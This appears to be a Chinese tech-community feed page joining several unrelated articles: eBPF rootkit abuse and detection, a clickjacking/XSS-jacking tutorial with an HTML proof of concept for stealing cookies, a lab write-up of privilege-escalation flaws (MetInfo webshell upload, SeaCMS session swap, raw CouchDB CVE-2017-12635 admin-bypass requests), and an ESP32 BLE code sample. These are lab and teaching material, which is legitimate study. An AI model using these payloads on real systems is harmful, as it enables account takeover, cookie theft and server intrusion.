文/许庆伟:龙蜥社区 eBPF 技术探索 SIG 组 Maintainer 高级内核技术专家,对 Linux 内核、系统稳定性领域有深入研究。01 启示录新约圣经启示录认为:恶魔其实本身是天使,但炽天使长路西法背叛了天堂,翅膀变成了黑色,坠落地狱,堕落成为恶魔。这些恶魔主宰著黑暗势力,阻碍人类与上帝沟通,无所不用其极。所以可以说天使和恶魔本来是一体的,只是命运不同。随着 eBPF 技术在各种行业领域上的使用和普及,人们在享受着技术变革红利的同时,也遭受着无孔不入的恶意攻击,就像任何事物都有两面性一样。没有任何一项技术只有高高在上的优势,而没有弊端,只有更加清晰的刨析清楚 eBPF 的内核,才能推动它不断的进步,趋利避害,尽可能发挥正向的作用。那么,eBPF 是天使,亦或恶魔?越来越严峻的 Linux 安全形势根据安全分析机构 ESG 云原生安全研究,88% 的网络安全专业人士表示,在过去 12 个月中,他们的云原生应用程序和基础设施遭受过攻击 。然而,许多旨在保护 Linux 的云安全解决方案可能很麻烦且具有破坏性,因为它们是从 Mac 或 Windows 操作系统上移植而来,这些方案有时会影响到 Linux 系统的处理能力,甚至进行更改。在 Linux 领域,很多安全公司都发布了自研的 MDR、XDR、EDR 产品,大多数方案是基于轻量级代理在静默收集遥测数据,同时最大限度地减少任何可能的性能影响,并将托管检测和响应扩展到系统的本地和云上,通常构建有基于规则的自动响应和分析功能,比如 SanerNow、Automox、Cybereason、Syxsense Secure、Sangfor Endpoint Secure 等等,大致有以下特点:1. 从端点监视和收集可能暗示威胁的活动数据2. 评估收集的数据以确定威胁模式3. 自动响应已识别的威胁以消除或遏制它们,并通知安全人员4. 使用取证和分析工具研究已识别的威胁并寻找可疑活动目前在 Linux 环境下,对于 EDR、XDR 产品也提出更加严格的要求:1. Linux 威胁和攻击媒介与 Windows/Mac OS 对应物不同,需要单独构建策略。2. Linux 通常是生产系统的基础,不能因为产品的中断或干扰会对业务产生负面影响。3. 构建轻型 Linux EDR 传感器专为 Linux 构建和优化,对系统的影响降到最小。基于 Linux 系统的云原生基础架构设施云原生应用程序的组合是 CI/CD 持续集成和交付的 API、容器、VM 和无服务器功能的组合。保护这些应用程序、底层基础设施和协调其部署的自动化平台,需要重新审视威胁模型、获得组织一致性并利用有目的的控制。此外,随着安全性和 DevOps 不断融合,云安全控制正在得到整合。将孤立的方法发展为统一的策略,以保护云原生应用程序和平台是目前很多安全厂商发力的目标,也是甲方实实在在的需求。与此同时,更多的安全厂商正在尝试将云安全态势管理 (CSPM)、云工作负载保护 (CWP)、容器安全等方案,整合到集成的云安全套件中,从而增大自身安全产品在市场上的竞争力和话语权,也避免安全产品的碎片化。云原生的基础设施包含 CPU 硬件、指令集,操作系统等,增强操作系统的高性能和安全性,也是目前 eBPF 技术正在深入的领域,所以 eBPF 自身的安全能力,也是检验该项技术是否有可持续发展的重要指标。02eBPF:恶魔面孔eBPF (扩展的 Berkeley 数据包过滤器)席卷了 Linux 世界。它于 2013 年首次推出以支持可编程网络,现在用于可观察性、安全性、网络等。许多大公司——包括 Meta、谷歌、微软和 Netflix——都致力于帮助开发和支持它,尤其是在云原生领域的重要性越来越高。注意:“eBPF”和“BPF”实际上是同义词,社区经常互换使用这些术语,部分原因是 eBPF 几乎完全取代了经典的 BPF 技术。在过去的几年里,黑产组织一直在研究利用 eBPF 来开发并扩大 Linux 恶意软件方面的作用,安全研究人员则不停的修复漏洞,并试图提前感知预测 0-day 漏洞。最近,有一些 eBPF 相关的 CVE 报告示例频繁的出现在 DEFCON 和 BlackHat 等顶级安全会议上,也让人们更加的重视和担心 eBPF 的安全性,如下 topic,后续我会逐步翻译验证,并同步分享出来:Evil eBPF In-Depth: Practical Abuses of an In-Kernel Bytecode RuntimeWarping Reality - creating and countering the next generation of Linux rootkits using eBPFeBPF, I thought we were friends !With Friends Like eBPF, Who Needs Enemies?Fixing a Memory Forensics Blind Spot: Linux Kernel Tracing现在让我们深入了解 eBPF 机制,看看黑客是如何利用这些强大功能来达到攻击的目的。bpf_probe_write_user利用:eBPF 程序可以访问一组有限的辅助函数,这些函数内置于内核中。基于 eBPF 恶意利用的一个助手就是 bpf_probe_write_user。此函数允许 eBPF 程序写入当前正在运行的进程的用户空间内存。恶意利用可以使用这种能力在系统调用期间修改进程的内存,例如 bad-bpfsudo 在读取时写入用户空间内存 /etc/sudoers。它注入了一个额外 code,允许特定用户使用该 sudo 命令。限制:(1)如果内存被换出或未标记为可写,该函数将失败。(2)一条警告消息会打印到内核日志中,说明正在使用该函数。这是为了警告用户程序正在使用具有潜在危险的 eBPF 辅助函数。bpf_override_return利用:另一个 eBPF 辅助函数 bpf_override_return 允许程序覆盖返回值。黑客可以利用它来阻止恶意利用行为。例如,如果你想运行 kill -9 ,黑客可以将 kprobe 附加到适当的内核函数以处理 kill 信号,返回错误,并有效地阻止系统调用的发生。开源项目 ebpfkit 使用它来阻止可能导致发现控制 eBPF 程序的用户空间进程的操作。限制:(1)内核构建时打开选项:CONFIG_BPF_KPROBE_OVERRIDE(2)目前仅支持 x86(3)只能与 kprobes 一起使用XDP 和 TC利用:ebpfkit 利用 XDP 和 TC 进行隐式通信。下图来自 Blackhat 会议演讲 PPT,其中 ebpfkit 的创建者(Guillaume Fournier、Sylvain Afchain 和 Sylvain Baubeau),在演讲中,他们概述了如何使用 XDP 和 TC 隐藏发送到 ebpfkit 的命令,主机上运行的 XDP 程序接收并处理请求。该程序将其识别为对主机上运行的恶意利用的请求,并将数据包修改为对主机上运行的 Web 应用程序的普通 HTTP 请求。在出口处,ebpfkit 使用 TC 程序捕获来自 web app 的响应,并使用来自 ebpfkit 的响应数据修改其输出。限制:(1)XDP 程序运行得太早,数据与进程或套接字无关,因此数据包周围几乎没有上下文。https://www.blackhat.com/us-21/briefings/schedule/index.html#with-friends-like-ebpf-who-needs-enemies-2361903 eBPF:天使面孔eBPF 的核心是可以在 Linux 内核中类似虚拟机结构中运行的一种指令集架构(ISA),拥有寄存器、指令和堆栈等。为了使用 eBPF,用户可以创建 eBPF 程序并将它们附加到系统的适当位置,通常是在内核中。当与附加点相关的事件发生时,程序运行并有机会从系统读取数,将该数据返回给用户空间中的控制应用程序。总而言之,eBPF 允许用户动态安装在内核上下文中执行,但可从用户空间编排的代码。它有点像用户空间应用程序和 Linux 内核模块之间的混合体。关于 eBPF 的基础知识无需赘述,网络上已经有太多丰富的教程和分析文章,个人建议初学者可以先从官方网站 上开始了解 eBPF 的前生今世,也可以直接在 kernel 源码具体实例中学习和验证。eBPF 在为诸多 Linux 内核开发者提供便利的同时,也为恶意软件的开发者提供了新的利用领域,这也就是“天使恶魔”的混合体来源。下图总结了 eBPF 程序的整个生命周期:安全优势:1. Socket filters 套接字过滤器是经典 BPF 的原始用例。套接字过滤器是一个可以附加到套接字的 eBPF 程序。然后该程序可以过滤该套接字的传入流量。Berkley Packet Filter 的名称暗示它是一种旨在过滤数据包数据的技术。这个功能甚至一直保留到现代 eBPF 中。2. ByteCode eBPF 程序通常以“受限”C 程序开始。受限意味着堆栈大小、程序大小、循环、可用函数等与普通 C 程序相比受到限制。C 代码被编译成 eBPF 字节码。3. Verifier 在 eBPF 代码完全加载到内核之前,它会通过验证器运行。验证者的工作是确定 eBPF 程序是否可以安全运行。“安全”是指它不会陷入无限循环,没有不安全的内存操作,并且低于最大复杂度/代码大小。安全策略:1. 确保非特权 eBPF 被禁用。 如今,要安装 eBPF 程序,您通常需要 root——或至少需要 CAP_SYS_ADMIN 和/或 CAP_BPF。情况并非总是如此。围绕内核 4.4 引入了非特权 eBPF。请务必通过运行以下命令检查此配置选项:sysctl kernel.unprivileged_bpf_disabled2. 禁用不需要的功能。管理员可以通过编程方式禁用诸如 kprobes 之类的东西:echo 0 > /sys/kernel/debug/kprobes/enabled3. 在不支持 kprobes、基于 eBPF 的 TC 过滤器或完全支持 eBPF 的情况下构建内核(尽管这可能不是许多人的选择)。4. ONFIG_BPF_KPROBE_OVERRIDE 除非绝对必要,否则不设置 Ensure。安全检测:从安全周期的角度来看,一场检测分为三个大阶段:事前(运行前)、事中(运行时)、事后(攻击后)。安全人员都希望可以在运行前通过一系列的静态分析方法来检测出异常,从而将问题扼杀在摇篮里。但现实往往事与愿违,更多的异常检测场景发生在运行时,这个时候就需要安全人员设计的产品模型具有很强的鉴白和鉴黑能力,这也是绝对了最终方案是否成功的基石。从 eBPF 以及 Linux Tracing 的维度来看看具体方案:1.寻找加载的意外 kprobes。#cat /sys/kernel/debug/kprobes/列表 ffffffff8ad687e0 r ip_local_out+0x0 [FTRACE] ffffffff8ad687e0 k ip_local_out+0x0 [FTRACE]2. 用 bpftool 列出系统中正在使用 eBPF 的程序。# bpftool prog 176: cgroup_skb tag 6deef7357e7b4530 gpl loaded_at 2022-10-31T04:38:09-0700 uid 0 xlated 64B jited 54B memlock 4096B 185: kprobe tag a7ce508aab49e47f gpl loaded_at 2022-10-31T10:03:16-0700 uid 0 xlated 112B jited 69B memlock 4096B map_ids 40 # bpftool perf pid 543805 fd 22: prog_id 3610 kprobe func tcp_v4_connect offset 0 pid 543805 fd 23: prog_id 3610 kprobe func tcp_v6_connect offset 0 pid 543805 fd 25: prog_id 3611 kretprobe func tcp_v4_connect offset 0 pid 543805 fd 26: prog_id 3611 kretprobe func tcp_v6_connect offset 0 pid 543805 fd 28: prog_id 3612 kretprobe func inet_csk_accept offset 03. 查找加载的 XDP 程序。$ ip link show dev <interface> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 xdpgeneric qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 prog/xdp id 220 tag 3b185187f1855c4c jited4. 检查 bpffs(BPF 文件系统)中是否有任何 pinned objects。$ mount | grep bpf … bpf on /sys/fs/bpf type bpf (rw,nosuid,nodev,noexec,relatime,mode=700) … #ls -la /sys/fs/bpf/5. 检查是否加载了任何 TC 程序。#tc filter show dev <device-name>6. 监视系统日志中是否提及 BPF 帮助程序生成的警告消息。#dmesg -k | grep ‘bpf_probe_write_user’04 尾声总之,eBPF 目前已经成了安全研究人员和黑客手中强大的工具,亦正亦邪,取决于使用者的选择。由于这种范式将过去实施恶意利用的方式和流程进行了转变,对于安全人员也提升了要求,需要研究和理解新兴威胁的前沿技术及利用。随着不断地地分析并认识到了如何识别和检测 eBPF 的恶意滥用,我们未来将更深入地了解此类利用的原理、行为方式以及检测它的最佳方式,后续研究分析将持续分享。eBPF 双子座:天使 or 恶魔?由你决定!eBPF 技术探索 SIG 主页:https://openanolis.cn/sig/ebpfresearch—— 完 ——加入龙蜥社群加入微信群:添加社区助理-龙蜥社区小龙(微信:openanolis_assis),备注【龙蜥】与你同在;加入钉钉群:扫描下方钉钉群二维码。
文章
云安全  ·  安全  ·  Cloud Native  ·  Linux  ·  持续交付  ·  SDN  ·  Anolis  ·  开发者  ·  Windows  ·  容器
2023-02-28
点击劫持漏洞的学习及利用之自己制作页面过程(二)
2.设置按钮button的top值注意: 这里不要傻傻的用工具去测像素,因为屏幕分辨率不同,你测的像素也会不同;很多时候,标签若不是采用绝对定位便很难获取它距离顶部的距离。所以这里用个很骚的操作:按下F12,滑动滚动条至按钮的上边框与浏览器边框大致重合,在控制台输入这个函数document.documentElement.scrollTop,这个函数的大致意思就是获取你的滚动条滚动了多长,然后就得到大致的距离了——这里是345px:然后top值这里就可以写345px了:保存看结果,基本在一条平行线了:3.设置按钮button的width和height值这里有两种方法,都是用F12来完成。第二种方法可以做到和i f rame嵌套页面的属性值一模一样,就是外观等等,但是有的可能找不到i f rame嵌套页面的按钮的一些属性值;第一种就是直接F12选取元素移到按钮上查看width和height值。这种是没有限制的,所以我基本都用这种。第一种方法:因为这里给挡住了,不太好看i f rame嵌套页面的按钮的大小,那么这里可以直接访问该页面进行测量。可以看到width为52.5166px,height为20.8px:这里按钮的大小就是一模一样了可是其中的字体过大变成两行,就不容易成功了,那么就给button加上style属性:<button style='font-size:7px'>点击脱衣</button>。然后字体如下偏小,那么也可以慢慢调大按钮大小,再调大字体等等来达到最完美的状态:第二种方法:以火狐浏览器为例,首先按下F12,然后选中按钮,在右下角便可以看到按钮的样式了,选择一些决定按钮形状的css属性即可。如我这里选择了:display: block;、border-radius:2em;如何确定按钮大小呢?看到图片中的第二步,在选中标签的时候,上面提供了标签的大小(上面的黑框框),也就是:width: 68.8px;、height: 25.6px;标签内的字体大小需要根据具体字数来决定,我这里三个字,也就相应的设置为:font-size: 12px;颜色边框什么的就随便设置一下,这里我就直接复制的cnblog按钮的颜色属性:background-color: #f2fddb;、border: 1px solid #aecd3d;4.设置按钮button的left值这里要经常利用到QQ的截图,因为上面有长度和宽度px的标识。这里最左边的页面到dvwa的Login按钮的左边是1171px:那我们先写left: 1171px;,看结果,有点偏差:那么这里只能自己慢慢调整了,最后调出来left: 933px;是长这样,差不多覆盖了:到此便制作成功了。点击劫持(ClickJacking)漏洞与其他漏洞的结合使用那么这里点击劫持(ClickJacking)漏洞还可以来进行骗取别人来关注订阅等等骚操作,这里就贴几张截图吧:当然点击劫持(ClickJacking)漏洞的危害可大可小,并不仅仅是关注订阅之类的东西,但是原理类似。点击劫持(ClickJacking)漏洞如果结合其他漏洞进行攻击,将突破某些安全措施,实现更大范围的攻击。1.点击劫持(ClickJacking)漏洞结合 CSRF 漏洞CSRF (Cross-Site Request Forgery)全称是叫做跨站请求伪造漏洞,目前广泛使用的CSRF漏洞防御技术是 token 识别技术。token这种方式是在表单页面生成一个随机数,这个随机数一定要后端生成,并且对这个随机数进行存储。客户端令牌token通常作为一种身份标识,由服务器端生成的一串字符串,当第一次登录后,服务器生成一个token返回给客户端,以后客户端只需带上token来请求数据即可,无需再次带上用户名和密码。如果来自浏览器请求中的token值与服务器发送给用户的token不匹配,或者请求中token不存在,则拒绝该请求,使用token验证可以有效防止CSRF攻击,但增加了后端数据处理的工作量。对于网站开发人员,最方便实用的方法是将 token 存储在页面隐藏的表单中,最终跟随信息共同提交到服务器端。服务器检查该参数,判断用户身份的真实性。因此如果网站用的是token这种方式来防御CSRF攻击的话,那么攻击者成功实施CSRF攻击的关键因素就是正确获取token的值了。攻击者需要将载入目标网页 i f rame 中的token自动添加到 src 属性后面。这里使用 GET方法的表单便可以自动完成上面的步骤,实现攻击。如果已经实现了CSRF的漏洞,可是如果要进行攻击的话可能要发一串链接,有可能别人不点击从而导致没有攻击成功。那么我们可以拓展攻击面,结合点击劫持(Clickjacking)漏洞来诱骗别人点击。可是这样还是需要点击链接和按钮等,还是会担心别人不会点击的话,如果想要提高成功率,可以先拿到一台对方信任的服务器,把点击劫持页面创建在该服务器里,再发给对方,以此提高成功率。这里的意义在于拓展攻击面。2.点击劫持(ClickJacking)漏洞结合 XSS 漏洞点击劫持漏洞 和反射型XSS漏洞结合起来,可以转变为存储型XSS漏洞。反射型 XSS 漏洞最重要的特征是很难利用。那么攻击者通过点击劫持(ClickJacking)漏洞,反射型 XSS 可以转化为存储型 XSS 漏洞,只要用户点击触发此漏洞,就可以在用户浏览器上执行任意的j avas cript代码,因此具有极大的危害性。这里来举个例子:其中目标站点存在反射型XSS,还是Self-XSS。页面为下面的那张图片,是一个很大的文本框,输入<s cript>a lert(document.cookie)</s cript>就弹出了cookie,这里出现的是Self-XSS:目标站点还存在点击劫持(ClickJacking)漏洞。我们查看响应,发现目标站点并未设置X-f rame-Options头,那么就会存在点击劫持(ClickJacking)漏洞:这时就可以编写PoC来进行XSS Jacking以此来获取用户的cookie:<html> <head> </head> <body> Enter your email below to register: </br> <textarea autofocus style="width:220px; height:35px;"></textarea> </br> Repeat your email: </br> <i f rame style="width:230px; height:50px;" f rameBorder="0" src="index.html"></i f rame> </br> <input type="submit"></input> <s cript> document.addEventListener('copy', function(e){ console.log(e); // e.clipboardData.setData('text/plain', '\x3cs cript\x3ea lert(document.cookie)\x3c/s cript\x3e'); e.preventDefault(); }); </s cript> </body> </html>其中网页的界面就是下面这张图所示:在这个网页中只要使用了复制键的话,那么复制的内容就都会是<s cript>a lert(document.cookie)</s cript>,再次输入邮箱的文本框其实是利用i f rame标签打开的index.html网页,存在XSS漏洞。所以当用户输入邮箱后,为了方便就会复制上面填写好的邮箱,然后粘贴到下面确认邮箱的框当中,那么这样就是将XSS的代码插入到了index.html中自己X了自己了。所以点击劫持(ClickJacking)漏洞结合XSS 漏洞这个组合拳利用需要结合一下钓鱼社工来实现窃取受害者的cookie等敏感信息。点击劫持(ClickJacking)漏洞防御方案这里可以考虑从服务器端和客户端两个方面来防御。服务器端防御1.通过正确设置X-f rame-Options header,不允许在网站中嵌入其它站点的i f rame。2.使用f rameBusting代码。不过有一个条件,就是受害者的浏览器没有禁用 j avas cript 脚本。如果受害者的浏览器禁用了 j avas cript 脚本,那么将无法正常运行。其中如图来禁止i f rame的嵌套:3.使用认证码认证用户。客户端防御1.升级浏览器2.对于Firefox的用户,使用Nos cript扩展能够在一定程度上来检测和阻止。参考:https://www.sohu.com/a/328464311_100113888https://blog.csdn.net/qq_45552960/article/details/101161020
文章
存储  ·  Web App开发  ·  编解码  ·  安全  ·  前端开发  ·  JavaScript  ·  数据处理  ·  数据安全/隐私保护
2023-02-14
Src挖掘技巧分享 | 谈谈业务逻辑漏洞(二)
业务办理处-越权漏洞之前跟着ms08067的大佬学习的时候,刚好写过相关笔记,还有幸发在该组织公众号上了,这里扒过来前言:越权访问漏洞概念简析”授权“与“验证”了解越权访问的概念,首先要了解授权和验证的概念:授权是指网站赋予特定人对网站特定资源的读写权限。而验证是网站用于检查操作者是否真的可以对特定资源进行读写“未授权访问”未授权访问是指用户在没有通过认证授权的情况下,能够直接访问需要通过认证才能访问到的页面或文本信息。那么,什么是越权漏洞?由于没有对用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超管)范围内的操作,如果能够成功操作,则称之为越权操作。越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。越权漏洞的产生原因开发人员在对数据进行操作时对客户端请求的数据过分相信,遗漏了对于客户端权限的仔细判定。越权漏洞常见位置修改、重置、找回其他账户密码查看、修改其他账户未公开的信息,例如个人资料、文件、数据、程序等与账户关联的权限操作越权访问漏洞的两大分类越权漏洞主要分为水平越权和垂直越权两大类。水平越权:同级别(权限)的用户或者同一角色的不同用户之间,可以越权访问、修改或者删除的非法操作。如果出现此漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。例如两个不同的公司A和B,通过修改请求,公司A可以任意修改B公司的员工、部门、考勤等信息。垂直越权:指使用权限低的用户可以访问权限较高的用户垂直越权危害:• 向上越权:普通用户可以执行管理员权限,比如发布文章、删除文章等操作。• 向下越权:一个高级用户可以访问低级用户信息(暴露用户隐例如同一个公司的职员A和经理B。显然他们在公司后台管理系统中账号的管理权限不同。垂直越权通过修改请求,职员A可以修改不在他管辖范围内的员工、考勤、工资等(自我加薪??)关于如上介绍的总结话,偷我亲爱的来自MS08067团队的讲师一张图是再好不过了越权访问漏洞实战课内复现水平越权metinfoV4.0越权漏洞复现环境准备:下载metinfoV4.0CMS源码进行网站搭建下载地址:https://www.metinfo.cn/upload/file/update/MetInfo4.0.zip其他版本下载地址:http://www.metinfo.cn/upload/file/update/MetInfox.x.x.zip(将x.x.x改成对应版本即可)源码:MetInfo4.0.zip下载后将源码解压至phpstudy的web根目录即可。解压完毕后利用浏览器访问网站地址进入安装目录创建普通用户进行登录登陆后进入修改基本信息的页面,随便修改一个密码,点击提交信息的同时上传抓包修改useid为管理员id成功修改管理员账号密码为123456,尝试登陆成功登陆,在界面风格->模板管理->添加新模板处发现一处文件上传漏洞。将冰蝎木马压缩成zip文件成功上传查看一下编辑模板参数,报错是在意料之中的,我们需要的是木马路径使用冰蝎服务器端连接木马。成功执行海洋cms v9 越权漏洞环境准备https://github.com/seacms/seacms-v9下载seacms9.0版本的源码。还是使用php部署,部署过程非常简单。注意php+mysql的版本一般就是一路绿灯。复现该漏洞需要注册两个网站账号1.test@test.com/1234562.ms08067/123456漏洞复现分别用chrome 和微软两个浏览器登陆这两个账号通过抓包,获取ms08067用户的phpsessid为:df9jjuneuuqo5hgjjsid106km4在另一账号test@test.com的修改密码操作上抓包,并将sessid修改为ms08067账号的sessid。尝试更改密码为123456789。放包,显示修改成功。尝试使用新密码登陆ms08067账户,发现登陆成功。垂直越权Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞描述Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。影响版本:小于 1.7.0 以及 小于 2.1.1环境搭建使用虚拟机安装docker,vulhubcd vulhub/couchdb/CVE-2017-12635 #进入靶场目录docker-compose up -d #开启靶场docker ps #查看端口一个小报错处理p.s:运行命令docker-compose up -d这里出现了一个报错。百度搜了一波,发现这是由于当前用户未加入docker组。解决方案是运行命令sudo gpasswd -a ${USER} docker然后退出当前用户比如切换为root,再次切换回原用户。然后执行docker-compose up -d就ok了。漏洞原理分析由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性(对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值)如:Erlang:jiffy:decode(“{“a”:”1″, “a”:”2″}”).{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}JavaScript:JSON.parse(“{“a”:”1″, “a”: “2”}”){a: “2”}可以被利用于,非管理员用户赋予自身管理员身份权限。参考文章:https://cloud.tencent.com/developer/article/1144778漏洞复现访问服务器ip:5984并抓包将抓到的包发送给重发器(Repeater)并将发送数据改为如下(服务器IP地址为自己搭建的IP):PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"password": "666666"}返回403错误:{“error”:”forbidden”,”reason”:”Only _admin may set roles”}报错原因是只有管理员才能设置Role角色。通过增加一个roles字段数据包的方式绕过限制PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"roles":[],"password": "666666"}通过新创建的用户qaq/666666成功登录复现完记得销毁环境哦~目录中执行命令docker-compose down -v
文章
存储  ·  JSON  ·  安全  ·  JavaScript  ·  前端开发  ·  数据库  ·  数据安全/隐私保护  ·  数据格式  ·  Docker  ·  容器
2023-02-14
【IoT】Arduino 实现 ESP32 BLE 与 Android 手机的数据交互
1、效果描述:通过简单的 Android APP 实现与 ESP32 的双向蓝牙通信。2、实现步骤Step 1:ESP32 硬件支持1、支持蓝牙 4.0 以上协议的安卓手机;2、支持 Micro USB 的 ESP32 dev board;Step 2:配置 Arduino IDE 环境1、下载 Arduino IDE:https://www.arduino.cc/en/Main/Software;2、安装 ESP32 支持包:https://github.com/espressif/arduino-esp32/blob/master/docs/arduino-ide/windows.md根据网站步骤安装 GIT 工具,并根据提示下载 BLE 支持开发包在 Arduino 编写实例:/*Video: https://www.youtube.com/watch?v=oCMOYS71NIU Based on Neil Kolban example for IDF: https://github.com/nkolban/esp32-snippets/blob/master/cpp_utils/tests/BLE%20Tests/SampleNotify.cpp Ported to Arduino ESP32 by Evandro Copercini Create a BLE server that, once we receive a connection, will send periodic notifications. The service advertises itself as: 6E400001-B5A3-F393-E0A9-E50E24DCCA9E Has a characteristic of: 6E400002-B5A3-F393-E0A9-E50E24DCCA9E - used for receiving data with "WRITE" Has a characteristic of: 6E400003-B5A3-F393-E0A9-E50E24DCCA9E - used to send data with "NOTIFY"The design of creating the BLE server is:Create a BLE ServerCreate a BLE ServiceCreate a BLE Characteristic on the ServiceCreate a BLE Descriptor on the characteristicStart the service.Start advertising.In this example rxValue is the data received (only accessible inside that function). And txValue is the data to be sent, in this example just a byte incremented every second. */include <BLEDevice.h>include <BLEServer.h>include <BLEUtils.h>include <BLE2902.h>BLECharacteristic *pCharacteristic;bool deviceConnected = false;float txValue = 0;const int readPin = 32; // Use GPIO number. See ESP32 board pinoutsconst int LED = 2; // Could be different depending on the dev board. I used the DOIT ESP32 dev board.//std::string rxValue; // Could also make this a global var to access it in loop()// See the following for generating UUIDs:// https://www.uuidgenerator.net/define SERVICE_UUID "6E400001-B5A3-F393-E0A9-E50E24DCCA9E" // UART service UUIDdefine CHARACTERISTIC_UUID_RX "6E400002-B5A3-F393-E0A9-E50E24DCCA9E"define CHARACTERISTIC_UUID_TX "6E400003-B5A3-F393-E0A9-E50E24DCCA9E"class MyServerCallbacks: public BLEServerCallbacks {void onConnect(BLEServer* pServer) { deviceConnected = true; }; void onDisconnect(BLEServer* pServer) { deviceConnected = false; }};class MyCallbacks: public BLECharacteristicCallbacks {void onWrite(BLECharacteristic *pCharacteristic) { std::string rxValue = pCharacteristic->getValue(); if (rxValue.length() > 0) { Serial.println("*********"); Serial.print("Received Value: "); for (int i = 0; i < rxValue.length(); i++) { Serial.print(rxValue[i]); } Serial.println(); // Do stuff based on the command received from the app if (rxValue.find("A") != -1) { Serial.print("Turning ON!"); digitalWrite(LED, HIGH); } else if (rxValue.find("B") != -1) { Serial.print("Turning OFF!"); digitalWrite(LED, LOW); } Serial.println(); Serial.println("*********"); } }};void setup() { Serial.begin(115200);pinMode(LED, OUTPUT);// Create the BLE Device BLEDevice::init("ESP32 UART Test"); // Give it a name// Create the BLE Server BLEServer *pServer = BLEDevice::createServer(); pServer->setCallbacks(new MyServerCallbacks());// Create the BLE Service BLEService *pService = pServer->createService(SERVICE_UUID);// Create a BLE Characteristic pCharacteristic = pService->createCharacteristic( CHARACTERISTIC_UUID_TX, BLECharacteristic::PROPERTY_NOTIFY ); pCharacteristic->addDescriptor(new BLE2902());BLECharacteristic *pCharacteristic = pService->createCharacteristic( CHARACTERISTIC_UUID_RX, BLECharacteristic::PROPERTY_WRITE ); pCharacteristic->setCallbacks(new MyCallbacks());// Start the service pService->start();// Start advertising pServer->getAdvertising()->start(); Serial.println("Waiting a client connection to notify...");}void loop() { if (deviceConnected) {// Fabricate some arbitrary junk for now... txValue = analogRead(readPin) / 3.456; // This could be an actual sensor reading! // Let's convert the value to a char array: char txString[8]; // make sure this is big enuffz dtostrf(txValue, 1, 2, txString); // float_val, min_width, digits_after_decimal, char_buffer // pCharacteristic->setValue(&txValue, 1); // To send the integer value// pCharacteristic->setValue("Hello!"); // Sending a test messagepCharacteristic->setValue(txString); pCharacteristic->notify(); // Send the value to the app! Serial.print("*** Sent Value: "); Serial.print(txString); Serial.println(" ***"); // You can add the rxValue checks down here instead // if you set "rxValue" as a global var at the top! // Note you will have to delete "std::string" declaration // of "rxValue" in the callback function.// if (rxValue.find("A") != -1) { // Serial.println("Turning ON!");// digitalWrite(LED, HIGH);// }// else if (rxValue.find("B") != -1) {// Serial.println("Turning OFF!");// digitalWrite(LED, LOW);// } } delay(1000);}Step 3:下载安装 APP 测试工具可以在资源栏下载:https://download.csdn.net/download/liwei16611/105266213、代码解释3.1、库文件:include <BLEDevice.h>include <BLEServer.h>include <BLEUtils.h>include <BLE2902.h>创建 BLE 设备:BLEDevice::init("ESP32 UART Test"); // Give it a name创建 BLE server:BLEServer *pServer = BLEDevice::createServer();pServer->setCallbacks(new MyServerCallbacks());创建 BLE service:BLEService *pService = pServer->createService(SERVICE_UUID);添加 characteristics:pCharacteristic = pService->createCharacteristic( CHARACTERISTIC_UUID_TX, BLECharacteristic::PROPERTY_NOTIFY );pCharacteristic->addDescriptor(new BLE2902());BLECharacteristic *pCharacteristic = pService->createCharacteristic( CHARACTERISTIC_UUID_RX, BLECharacteristic::PROPERTY_WRITE );pCharacteristic->setCallbacks(new MyCallbacks());启动广播:pServer->getAdvertising()->start();Serial.println("Waiting a client connection to notify...");3.2、定义 service 和 characteristic UUID:TX | RXdefine SERVICE_UUID "6E400001-B5A3-F393-E0A9-E50E24DCCA9E" // UART service UUIDdefine CHARACTERISTIC_UUID_RX "6E400002-B5A3-F393-E0A9-E50E24DCCA9E"define CHARACTERISTIC_UUID_TX "6E400003-B5A3-F393-E0A9-E50E24DCCA9E"3.3、蓝牙连接回调函数class MyServerCallbacks: public BLEServerCallbacks { void onConnect(BLEServer* pServer) { deviceConnected = true; }; void onDisconnect(BLEServer* pServer) { deviceConnected = false; }};3.4、数据接收回调函数class MyCallbacks: public BLECharacteristicCallbacks { void onWrite(BLECharacteristic *pCharacteristic) { std::string rxValue = pCharacteristic->getValue();</p><p> if (rxValue.length() > 0) { Serial.println("*********"); Serial.print("Received Value: ");</p><p> for (int i = 0; i < rxValue.length(); i++) { Serial.print(rxValue[i]); }</p><p> Serial.println();</p><p> // Do stuff based on the command received from the app if (rxValue.find("A") != -1) { Serial.print("Turning ON!"); digitalWrite(LED, HIGH); } else if (rxValue.find("B") != -1) { Serial.print("Turning OFF!"); digitalWrite(LED, LOW); }</p><p> Serial.println(); Serial.println("*********"); } }};从《天道》的角度谈谈产品规划原创2023-02-24 